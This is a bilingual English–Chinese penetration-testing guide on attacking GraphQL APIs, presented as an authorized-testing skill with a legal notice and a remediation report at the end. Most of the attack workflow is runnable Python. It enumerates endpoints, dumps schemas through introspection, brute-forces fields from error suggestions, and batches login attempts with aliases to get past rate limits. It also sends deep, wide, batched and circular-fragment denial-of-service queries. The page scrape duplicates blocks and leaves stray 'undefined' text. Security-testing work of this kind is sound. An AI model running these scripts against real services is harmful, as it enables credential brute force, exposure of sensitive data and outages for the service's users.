performing-graphql-introspection-attack
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChinesePerforming GraphQL Introspection Attack
执行GraphQL Introspection攻击
When to Use
使用场景
- Testing GraphQL endpoints for exposed introspection that reveals the complete API schema
- Mapping the attack surface of a GraphQL API to identify sensitive queries, mutations, and types
- Testing for GraphQL-specific vulnerabilities including query depth abuse, batching attacks, and field-level authorization
- Assessing GraphQL implementations where introspection is disabled but schema can be reconstructed through error messages
- Evaluating defenses against resource exhaustion through deeply nested or complex GraphQL queries
Do not use without written authorization. Schema extraction and query abuse testing can impact service availability.
- 测试GraphQL端点是否暴露可泄露完整API schema的introspection功能
- 绘制GraphQL API的攻击面,识别敏感query、mutation和类型
- 测试GraphQL特有的漏洞,包括查询深度滥用、批量攻击和字段级权限问题
- 评估introspection已禁用但可通过错误消息重构schema的GraphQL实现
- 评估针对深度嵌套或复杂GraphQL查询导致资源耗尽的防御措施
未经书面授权请勿使用。schema提取和查询滥用测试可能影响服务可用性。
Prerequisites
前置条件
- Written authorization specifying the GraphQL endpoint and testing scope
- Burp Suite Professional with InQL extension (v6.1+) for automated schema analysis
- Python 3.10+ with and
requestslibrariesgql - GraphQL Voyager or GraphQL Playground for schema visualization
- Clairvoyance tool for schema reconstruction when introspection is disabled
- Wordlists for GraphQL field and type name brute-forcing
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
- 指定GraphQL端点和测试范围的书面授权
- 安装有InQL扩展(v6.1+)的Burp Suite Professional,用于自动化schema分析
- 装有和
requests库的Python 3.10+gql - 用于schema可视化的GraphQL Voyager或GraphQL Playground
- 当introspection禁用时用于schema重构的Clairvoyance工具
- 用于GraphQL字段和类型名称暴力破解的词表
法律声明:本技能仅用于授权的安全测试和教育目的。未经授权对非自有或未获得书面测试许可的系统使用本技能属于违法行为,可能违反计算机欺诈相关法律。
Workflow
工作流程
Step 1: GraphQL Endpoint Discovery
步骤1:GraphQL端点发现
python
import requests
import json
TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}python
import requests
import json
TARGET = "https://target-api.example.com"
headers = {"Content-Type": "application/json"}Common GraphQL endpoint paths
Common GraphQL endpoint paths
GRAPHQL_PATHS = [
"/graphql", "/graphql/", "/gql", "/query",
"/api/graphql", "/api/gql", "/api/v1/graphql",
"/v1/graphql", "/v2/graphql",
"/graphql/console", "/graphql/playground",
"/graphiql", "/altair", "/explorer",
"/graph", "/api/graph",
]
GRAPHQL_PATHS = [
"/graphql", "/graphql/", "/gql", "/query",
"/api/graphql", "/api/gql", "/api/v1/graphql",
"/v1/graphql", "/v2/graphql",
"/graphql/console", "/graphql/playground",
"/graphiql", "/altair", "/explorer",
"/graph", "/api/graph",
]
Probe for GraphQL endpoints
Probe for GraphQL endpoints
for path in GRAPHQL_PATHS:
# Test with a simple introspection query
query = {"query": "{ __typename }"}
try:
resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
print(f" Response: {resp.text[:200]}")
except requests.exceptions.RequestException:
pass
# Also test GET method
try:
resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
except requests.exceptions.RequestException:
passundefinedfor path in GRAPHQL_PATHS:
# Test with a simple introspection query
query = {"query": "{ __typename }"}
try:
resp = requests.post(f"{TARGET}{path}", headers=headers, json=query, timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL endpoint: {TARGET}{path}")
print(f" Response: {resp.text[:200]}")
except requests.exceptions.RequestException:
pass
# Also test GET method
try:
resp = requests.get(f"{TARGET}{path}?query={{__typename}}", timeout=5)
if resp.status_code == 200 and ("data" in resp.text or "__typename" in resp.text):
print(f"[FOUND] GraphQL endpoint (GET): {TARGET}{path}")
except requests.exceptions.RequestException:
passundefinedStep 2: Full Introspection Query
步骤2:完整Introspection查询
python
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}python
GRAPHQL_URL = f"{TARGET}/graphql"
auth_headers = {**headers, "Authorization": "Bearer <token>"}Full introspection query to extract complete schema
Full introspection query to extract complete schema
FULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
if "data" in schema and "__schema" in schema["data"]:
print("[VULNERABLE] Full introspection enabled")
types = schema["data"]["__schema"]["types"]
# Categorize types
custom_types = [t for t in types if not t["name"].startswith("__")]
queries = schema["data"]["__schema"]["queryType"]
mutations = schema["data"]["__schema"].get("mutationType")
print(f"\nSchema Summary:")
print(f" Custom Types: {len(custom_types)}")
print(f" Query Type: {queries['name'] if queries else 'None'}")
print(f" Mutation Type: {mutations['name'] if mutations else 'None'}")
# List all custom types and their fields
for t in custom_types:
if t.get("fields"):
print(f"\n Type: {t['name']}")
for field in t["fields"]:
field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
print(f" - {field['name']}: {field_type}")
# Save schema for further analysis
with open("graphql_schema.json", "w") as f:
json.dump(schema, f, indent=2)
print("\nSchema saved to graphql_schema.json")
else:
print("[SECURED] Introspection disabled or restricted")
print(f"Response: {resp.text[:500]}")else:
print(f"Request failed: {resp.status_code}")
undefinedFULL_INTROSPECTION = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
"""}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=FULL_INTROSPECTION)
if resp.status_code == 200:
schema = resp.json()
if "data" in schema and "__schema" in schema["data"]:
print("[VULNERABLE] Full introspection enabled")
types = schema["data"]["__schema"]["types"]
# Categorize types
custom_types = [t for t in types if not t["name"].startswith("__")]
queries = schema["data"]["__schema"]["queryType"]
mutations = schema["data"]["__schema"].get("mutationType")
print(f"\nSchema Summary:")
print(f" Custom Types: {len(custom_types)}")
print(f" Query Type: {queries['name'] if queries else 'None'}")
print(f" Mutation Type: {mutations['name'] if mutations else 'None'}")
# List all custom types and their fields
for t in custom_types:
if t.get("fields"):
print(f"\n Type: {t['name']}")
for field in t["fields"]:
field_type = field["type"]["name"] or field["type"].get("ofType", {}).get("name", "")
print(f" - {field['name']}: {field_type}")
# Save schema for further analysis
with open("graphql_schema.json", "w") as f:
json.dump(schema, f, indent=2)
print("\nSchema saved to graphql_schema.json")
else:
print("[SECURED] Introspection disabled or restricted")
print(f"Response: {resp.text[:500]}")else:
print(f"Request failed: {resp.status_code}")
undefinedStep 3: Sensitive Data Identification in Schema
步骤3:Schema中的敏感数据识别
python
undefinedpython
undefinedAnalyze the extracted schema for sensitive fields and types
Analyze the extracted schema for sensitive fields and types
SENSITIVE_INDICATORS = {
"field_names": [
"password", "passwordHash", "secret", "token", "apiKey", "ssn",
"socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
"privateKey", "internalId", "salary", "bankAccount", "taxId",
"mfaSecret", "refreshToken", "sessionId", "debugInfo"
],
"type_names": [
"Admin", "Internal", "Debug", "Secret", "Private",
"SystemConfig", "AuditLog", "PaymentInfo", "Credential"
],
"mutation_names": [
"deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
"createAdmin", "disableMFA", "exportData", "deleteAuditLog",
"updateConfig", "runMigration", "executeQuery"
]
}
if "data" in schema:
print("\n=== Sensitive Schema Analysis ===\n")
for t in custom_types:
# Check type names
for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
if sensitive_type.lower() in t["name"].lower():
print(f"[SENSITIVE TYPE] {t['name']}")
# Check field names
if t.get("fields"):
for field in t["fields"]:
for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
if sensitive_field.lower() in field["name"].lower():
print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")
# Check mutation names
if mutations:
mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
if mutation_type and mutation_type.get("fields"):
for mutation in mutation_type["fields"]:
for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
if sensitive_mut.lower() in mutation["name"].lower():
print(f"[SENSITIVE MUTATION] {mutation['name']}")undefinedSENSITIVE_INDICATORS = {
"field_names": [
"password", "passwordHash", "secret", "token", "apiKey", "ssn",
"socialSecurity", "creditCard", "cardNumber", "cvv", "pin",
"privateKey", "internalId", "salary", "bankAccount", "taxId",
"mfaSecret", "refreshToken", "sessionId", "debugInfo"
],
"type_names": [
"Admin", "Internal", "Debug", "Secret", "Private",
"SystemConfig", "AuditLog", "PaymentInfo", "Credential"
],
"mutation_names": [
"deleteUser", "resetPassword", "changeRole", "elevatePrivilege",
"createAdmin", "disableMFA", "exportData", "deleteAuditLog",
"updateConfig", "runMigration", "executeQuery"
]
}
if "data" in schema:
print("\n=== Sensitive Schema Analysis ===\n")
for t in custom_types:
# Check type names
for sensitive_type in SENSITIVE_INDICATORS["type_names"]:
if sensitive_type.lower() in t["name"].lower():
print(f"[SENSITIVE TYPE] {t['name']}")
# Check field names
if t.get("fields"):
for field in t["fields"]:
for sensitive_field in SENSITIVE_INDICATORS["field_names"]:
if sensitive_field.lower() in field["name"].lower():
print(f"[SENSITIVE FIELD] {t['name']}.{field['name']}")
# Check mutation names
if mutations:
mutation_type = next((t for t in types if t["name"] == mutations["name"]), None)
if mutation_type and mutation_type.get("fields"):
for mutation in mutation_type["fields"]:
for sensitive_mut in SENSITIVE_INDICATORS["mutation_names"]:
if sensitive_mut.lower() in mutation["name"].lower():
print(f"[SENSITIVE MUTATION] {mutation['name']}")undefinedStep 4: Schema Reconstruction When Introspection is Disabled
步骤4:Introspection禁用时的Schema重构
python
undefinedpython
undefinedUse field suggestion errors to reconstruct the schema
Use field suggestion errors to reconstruct the schema
def bruteforce_field(type_name, field_wordlist):
"""Use GraphQL error messages to discover valid fields."""
discovered_fields = []
for field_name in field_wordlist:
query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
response_text = resp.text.lower()
# GraphQL often suggests valid field names in error messages
if "did you mean" in response_text:
# Extract suggestions
import re
suggestions = re.findall(r'"(\w+)"', resp.text)
for s in suggestions:
if s not in discovered_fields:
discovered_fields.append(s)
print(f" [DISCOVERED] {type_name}.{s} (via suggestion)")
elif resp.status_code == 200 and "errors" not in resp.json():
discovered_fields.append(field_name)
print(f" [VALID] {type_name}.{field_name}")
return discovered_fieldsdef bruteforce_field(type_name, field_wordlist):
"""Use GraphQL error messages to discover valid fields."""
discovered_fields = []
for field_name in field_wordlist:
query = {"query": f"{{ {type_name} {{ {field_name} }} }}"}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=query)
response_text = resp.text.lower()
# GraphQL often suggests valid field names in error messages
if "did you mean" in response_text:
# Extract suggestions
import re
suggestions = re.findall(r'"(\w+)"', resp.text)
for s in suggestions:
if s not in discovered_fields:
discovered_fields.append(s)
print(f" [DISCOVERED] {type_name}.{s} (via suggestion)")
elif resp.status_code == 200 and "errors" not in resp.json():
discovered_fields.append(field_name)
print(f" [VALID] {type_name}.{field_name}")
return discovered_fieldsCommon GraphQL field names wordlist
Common GraphQL field names wordlist
FIELD_WORDLIST = [
"id", "name", "email", "username", "password", "role", "token",
"createdAt", "updatedAt", "status", "type", "description", "title",
"firstName", "lastName", "phone", "address", "avatar", "bio",
"isAdmin", "isActive", "permissions", "groups", "orders", "items",
"price", "quantity", "total", "currency", "paymentMethod",
"ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
"apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]
FIELD_WORDLIST = [
"id", "name", "email", "username", "password", "role", "token",
"createdAt", "updatedAt", "status", "type", "description", "title",
"firstName", "lastName", "phone", "address", "avatar", "bio",
"isAdmin", "isActive", "permissions", "groups", "orders", "items",
"price", "quantity", "total", "currency", "paymentMethod",
"ssn", "dateOfBirth", "creditCard", "bankAccount", "salary",
"apiKey", "secretKey", "refreshToken", "mfaEnabled", "lastLogin",
]
Try to discover fields on common type names
Try to discover fields on common type names
for type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
print(f"\nBrute-forcing fields on '{type_name}':")
fields = bruteforce_field(type_name, FIELD_WORDLIST)
undefinedfor type_name in ["user", "users", "me", "currentUser", "admin", "order", "account"]:
print(f"\nBrute-forcing fields on '{type_name}':")
fields = bruteforce_field(type_name, FIELD_WORDLIST)
undefinedStep 5: GraphQL Attack Techniques
步骤5:GraphQL攻击技术
python
undefinedpython
undefinedAttack 1: Alias-based batching for brute force (bypasses rate limiting)
Attack 1: Alias-based batching for brute force (bypasses rate limiting)
def alias_brute_force_login(usernames, password="Password123"):
"""Use GraphQL aliases to send multiple login attempts in one request."""
aliases = []
for i, username in enumerate(usernames[:100]): # Max 100 per batch
aliases.append(f"""
attempt_{i}: login(username: "{username}", password: "{password}") {{
token
user {{ id email }}
}}
""")
query = {"query": "mutation { " + " ".join(aliases) + " }"}
resp = requests.post(GRAPHQL_URL, headers=headers, json=query)
if resp.status_code == 200:
data = resp.json().get("data", {})
for key, value in data.items():
if value and value.get("token"):
print(f"[SUCCESS] {key}: token obtained")
return respdef alias_brute_force_login(usernames, password="Password123"):
"""Use GraphQL aliases to send multiple login attempts in one request."""
aliases = []
for i, username in enumerate(usernames[:100]): # Max 100 per batch
aliases.append(f"""
attempt_{i}: login(username: "{username}", password: "{password}") {{
token
user {{ id email }}
}}
""")
query = {"query": "mutation { " + " ".join(aliases) + " }"}
resp = requests.post(GRAPHQL_URL, headers=headers, json=query)
if resp.status_code == 200:
data = resp.json().get("data", {})
for key, value in data.items():
if value and value.get("token"):
print(f"[SUCCESS] {key}: token obtained")
return respAttack 2: Query depth attack (DoS)
Attack 2: Query depth attack (DoS)
def generate_deep_query(depth=50):
"""Generate a deeply nested query to test depth limits."""
query = "{ users { friends " * depth
query += "{ id name }" + " } " * depth + " }"
return {"query": query}
deep_query = generate_deep_query(20)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=deep_query)
print(f"Depth 20 query: {resp.status_code}")
if resp.status_code == 200 and "errors" not in resp.json():
print("[VULNERABLE] No query depth limit enforced")
def generate_deep_query(depth=50):
"""Generate a deeply nested query to test depth limits."""
query = "{ users { friends " * depth
query += "{ id name }" + " } " * depth + " }"
return {"query": query}
deep_query = generate_deep_query(20)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=deep_query)
print(f"Depth 20 query: {resp.status_code}")
if resp.status_code == 200 and "errors" not in resp.json():
print("[VULNERABLE] No query depth limit enforced")
Attack 3: Field duplication attack (resource exhaustion)
Attack 3: Field duplication attack (resource exhaustion)
def generate_wide_query(width=1000):
"""Repeat expensive fields many times using aliases."""
fields = " ".join([f"field_{i}: users {{ id email name role }}" for i in range(width)])
return {"query": "{ " + fields + " }"}
wide_query = generate_wide_query(500)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=wide_query)
print(f"Width 500 query: {resp.status_code}")
def generate_wide_query(width=1000):
"""Repeat expensive fields many times using aliases."""
fields = " ".join([f"field_{i}: users {{ id email name role }}" for i in range(width)])
return {"query": "{ " + fields + " }"}
wide_query = generate_wide_query(500)
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=wide_query)
print(f"Width 500 query: {resp.status_code}")
Attack 4: Batched queries
Attack 4: Batched queries
batch_queries = [
{"query": "{ users { id email } }"},
{"query": "{ orders { id total } }"},
{"query": "{ admin { settings } }"},
] * 100 # 300 queries in one request
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=batch_queries)
print(f"Batch 300 queries: {resp.status_code}")
batch_queries = [
{"query": "{ users { id email } }"},
{"query": "{ orders { id total } }"},
{"query": "{ admin { settings } }"},
] * 100 # 300 queries in one request
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=batch_queries)
print(f"Batch 300 queries: {resp.status_code}")
Attack 5: Circular fragment (DoS)
Attack 5: Circular fragment (DoS)
circular_query = {
"query": """
query {
users {
...UserFields
}
}
fragment UserFields on User {
friends {
...UserFields
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=circular_query)
print(f"Circular fragment: {resp.status_code}")
undefinedcircular_query = {
"query": """
query {
users {
...UserFields
}
}
fragment UserFields on User {
friends {
...UserFields
}
}
"""
}
resp = requests.post(GRAPHQL_URL, headers=auth_headers, json=circular_query)
print(f"Circular fragment: {resp.status_code}")
undefinedStep 6: Field-Level Authorization Testing
步骤6:字段级权限测试
python
undefinedpython
undefinedTest if different user roles can access the same fields
Test if different user roles can access the same fields
user_token = "Bearer <regular_user_token>"
admin_token_val = "Bearer <admin_token>"
user_token = "Bearer <regular_user_token>"
admin_token_val = "Bearer <admin_token>"
Query sensitive fields as regular user
Query sensitive fields as regular user
sensitive_queries = [
{
"name": "User PII fields",
"query": '{ users { id email ssn dateOfBirth salary internalNotes } }'
},
{
"name": "Admin mutations",
"query": 'mutation { deleteUser(id: "1002") { success } }'
},
{
"name": "System config",
"query": '{ systemConfig { databaseUrl secretKey apiKeys } }'
},
{
"name": "Audit logs",
"query": '{ auditLogs { action userId ipAddress timestamp } }'
},
]
for sq in sensitive_queries:
# Test as regular user
resp_user = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": user_token},
json={"query": sq["query"]})
# Test as admin
resp_admin = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": admin_token_val},
json={"query": sq["query"]})
user_ok = resp_user.status_code == 200 and "errors" not in resp_user.json()
admin_ok = resp_admin.status_code == 200 and "errors" not in resp_admin.json()
if user_ok and admin_ok:
print(f"[BFLA] {sq['name']}: Both user and admin can access")
elif user_ok and not admin_ok:
print(f"[ANOMALY] {sq['name']}: User can access but admin cannot")
elif not user_ok and admin_ok:
print(f"[SECURE] {sq['name']}: Only admin can access")
else:
print(f"[BLOCKED] {sq['name']}: Neither can access")undefinedsensitive_queries = [
{
"name": "User PII fields",
"query": '{ users { id email ssn dateOfBirth salary internalNotes } }'
},
{
"name": "Admin mutations",
"query": 'mutation { deleteUser(id: "1002") { success } }'
},
{
"name": "System config",
"query": '{ systemConfig { databaseUrl secretKey apiKeys } }'
},
{
"name": "Audit logs",
"query": '{ auditLogs { action userId ipAddress timestamp } }'
},
]
for sq in sensitive_queries:
# Test as regular user
resp_user = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": user_token},
json={"query": sq["query"]})
# Test as admin
resp_admin = requests.post(GRAPHQL_URL,
headers={**headers, "Authorization": admin_token_val},
json={"query": sq["query"]})
user_ok = resp_user.status_code == 200 and "errors" not in resp_user.json()
admin_ok = resp_admin.status_code == 200 and "errors" not in resp_admin.json()
if user_ok and admin_ok:
print(f"[BFLA] {sq['name']}: Both user and admin can access")
elif user_ok and not admin_ok:
print(f"[ANOMALY] {sq['name']}: User can access but admin cannot")
elif not user_ok and admin_ok:
print(f"[SECURE] {sq['name']}: Only admin can access")
else:
print(f"[BLOCKED] {sq['name']}: Neither can access")undefinedKey Concepts
核心概念
| Term | Definition |
|---|---|
| GraphQL Introspection | Built-in capability to query the schema definition, exposing all types, fields, queries, mutations, and subscriptions available in the API |
| Query Depth Attack | Sending deeply nested queries that cause exponential resolver execution, consuming server resources and potentially causing DoS |
| Alias-Based Batching | Using GraphQL aliases to execute multiple operations in a single request, bypassing per-request rate limiting |
| Schema Reconstruction | Reconstructing the GraphQL schema when introspection is disabled by analyzing error messages and field suggestions |
| Field-Level Authorization | Controlling access to individual fields within a GraphQL type based on the authenticated user's role or permissions |
| Query Complexity Analysis | Calculating the computational cost of a GraphQL query before execution to enforce resource limits |
| 术语 | 定义 |
|---|---|
| GraphQL Introspection | GraphQL内置的查询schema定义的功能,可暴露API中所有可用的类型、字段、query、mutation和subscription |
| Query Depth Attack | 发送深度嵌套的query,导致解析器执行呈指数级增长,消耗服务器资源并可能引发DoS |
| Alias-Based Batching | 使用GraphQL别名在单个请求中执行多个操作,绕过基于单请求的速率限制 |
| Schema Reconstruction | 当introspection禁用时,通过分析错误消息和字段建议来重构GraphQL schema |
| Field-Level Authorization | 根据已认证用户的角色或权限,控制对GraphQL类型中单个字段的访问 |
| Query Complexity Analysis | 在执行GraphQL query前计算其计算成本,以强制执行资源限制 |
Tools & Systems
工具与系统
- InQL (Burp Suite Extension): Automated GraphQL introspection, schema analysis, and attack generation with support for schema brute-forcing
- Clairvoyance: Schema reconstruction tool that works even when introspection is disabled, using error-based field discovery
- GraphQL Voyager: Visual schema explorer that generates interactive diagrams from introspection results
- Altair GraphQL Client: Feature-rich GraphQL IDE for crafting and testing queries with authentication support
- graphql-cop: GraphQL security auditor that tests for common misconfigurations including introspection, field suggestions, and query limits
- InQL (Burp Suite Extension):自动化GraphQL introspection、schema分析和攻击生成,支持schema暴力破解
- Clairvoyance:即使introspection禁用也能工作的schema重构工具,基于错误发现字段
- GraphQL Voyager:可视化schema浏览器,可从introspection结果生成交互式图表
- Altair GraphQL Client:功能丰富的GraphQL IDE,支持带认证的query编写和测试
- graphql-cop:GraphQL安全审计工具,测试常见配置错误,包括introspection、字段建议和查询限制
Common Scenarios
常见场景
Scenario: E-Commerce GraphQL API Security Assessment
场景:电商GraphQL API安全评估
Context: An e-commerce platform migrated from REST to GraphQL. The GraphQL endpoint serves the web and mobile frontends. Introspection was left enabled during development and was not disabled for production.
Approach:
- Run full introspection query against endpoint - complete schema extracted with 45 types, 120 queries, and 38 mutations
/graphql - Identify sensitive types: ,
AdminUser,PaymentInfo,InternalConfigAuditLog - Discover that type exposes
User,passwordHash, andmfaSecretfieldslastLoginIp - Find admin mutations accessible to regular users: ,
deleteUser,updateRoleexportAllOrders - Test query depth: no limit enforced, nested query 50 levels deep executes successfully and takes 45 seconds
- Test alias batching: 1000 login attempts in a single request bypass rate limiting
- Test batch queries: array of 500 queries accepted without limit
- Schema reveals internal type with
InternalConfiganddatabaseConnectionStringfieldsstripeSecretKey
Pitfalls:
- Assuming introspection is the only way to discover the schema (error messages and field suggestions reveal information even when introspection is disabled)
- Not testing mutations which often have weaker authorization than queries
- Missing subscription endpoints that may expose real-time data streams without authentication
- Not testing query complexity limits with realistic payloads that trigger expensive database operations
- Ignoring that GraphQL over WebSocket (subscriptions) may have different authentication requirements
背景:某电商平台从REST迁移到GraphQL,GraphQL端点为Web和移动端前端提供服务。开发期间启用的introspection在生产环境中未被禁用。
方法:
- 对端点执行完整introspection查询 - 提取包含45种类型、120个query和38个mutation的完整schema
/graphql - 识别敏感类型:、
AdminUser、PaymentInfo、InternalConfigAuditLog - 发现类型暴露
User、passwordHash和mfaSecret字段lastLoginIp - 发现普通用户可访问admin级mutation:、
deleteUser、updateRoleexportAllOrders - 测试查询深度:无限制,嵌套50层的query执行成功且耗时45秒
- 测试别名批量攻击:单个请求中执行1000次登录尝试,绕过速率限制
- 测试批量query:接受包含500个query的数组,无限制
- Schema暴露内部类型,包含
InternalConfig和databaseConnectionString字段stripeSecretKey
常见误区:
- 认为introspection是发现schema的唯一方式(即使introspection禁用,错误消息和字段建议也会泄露信息)
- 未测试mutation,其权限通常比query更弱
- 忽略可能暴露无认证实时数据流的subscription端点
- 未使用能触发昂贵数据库操作的真实负载测试查询复杂度限制
- 忽略GraphQL over WebSocket(subscription)可能有不同的认证要求
Output Format
输出格式
undefinedundefinedFinding: GraphQL Introspection Enabled with Sensitive Schema Exposure
发现:启用GraphQL Introspection并暴露敏感Schema
ID: API-GQL-001
Severity: High (CVSS 7.5)
Affected Endpoint: POST /graphql
Tools Used: InQL, Clairvoyance, custom Python scripts
Description:
The GraphQL endpoint has introspection enabled in production, exposing
the complete API schema including 45 types, 120 queries, and 38 mutations.
The schema reveals sensitive internal types (AdminUser, PaymentInfo,
InternalConfig) and exposes fields containing password hashes, MFA secrets,
and database connection strings. No query depth or complexity limits are
enforced, enabling denial-of-service through nested queries.
Schema Highlights:
- User.passwordHash: bcrypt hash exposed
- User.mfaSecret: TOTP secret exposed (allows MFA bypass)
- InternalConfig.databaseConnectionString: Production DB credentials
- InternalConfig.stripeSecretKey: Payment processing API key
- 12 admin mutations accessible to regular users
Impact:
An attacker can extract the complete API schema, identify sensitive
fields, access password hashes and MFA secrets for any user, retrieve
production database credentials, and execute admin-only mutations.
Remediation:
- Disable introspection in production: set introspection to false in the GraphQL server config
- Implement field-level authorization using GraphQL directives (@auth, @hasRole)
- Remove sensitive fields from the schema or restrict them with authorization middleware
- Implement query depth limiting (max 10 levels) and complexity scoring
- Disable field suggestions in error messages to prevent schema reconstruction
- Rate limit GraphQL requests per query, not just per HTTP request
undefinedID: API-GQL-001
严重程度: 高 (CVSS 7.5)
受影响端点: POST /graphql
使用工具: InQL, Clairvoyance, 自定义Python脚本
描述:
生产环境中的GraphQL端点启用了introspection,暴露了包含45种类型、120个query和38个mutation的完整API schema。Schema泄露了敏感内部类型(AdminUser、PaymentInfo、InternalConfig),并暴露了包含密码哈希、MFA密钥和数据库连接字符串的字段。未执行查询深度或复杂度限制,可通过嵌套query发起拒绝服务攻击。
Schema重点:
- User.passwordHash: 暴露bcrypt哈希
- User.mfaSecret: 暴露TOTP密钥(可绕过MFA)
- InternalConfig.databaseConnectionString: 生产数据库凭证
- InternalConfig.stripeSecretKey: 支付处理API密钥
- 12个admin级mutation可被普通用户访问
影响:
攻击者可提取完整API schema,识别敏感字段,获取任意用户的密码哈希和MFA密钥,获取生产数据库凭证,并执行admin级mutation。
修复建议:
- 在生产环境中禁用introspection:在GraphQL服务器配置中设置introspection为false
- 使用GraphQL指令(@auth、@hasRole)实现字段级权限控制
- 从schema中移除敏感字段,或通过权限中间件限制访问
- 实现查询深度限制(最大10层)和复杂度评分
- 禁用错误消息中的字段建议,防止schema重构
- 对GraphQL请求按query而非仅按HTTP请求进行速率限制
undefined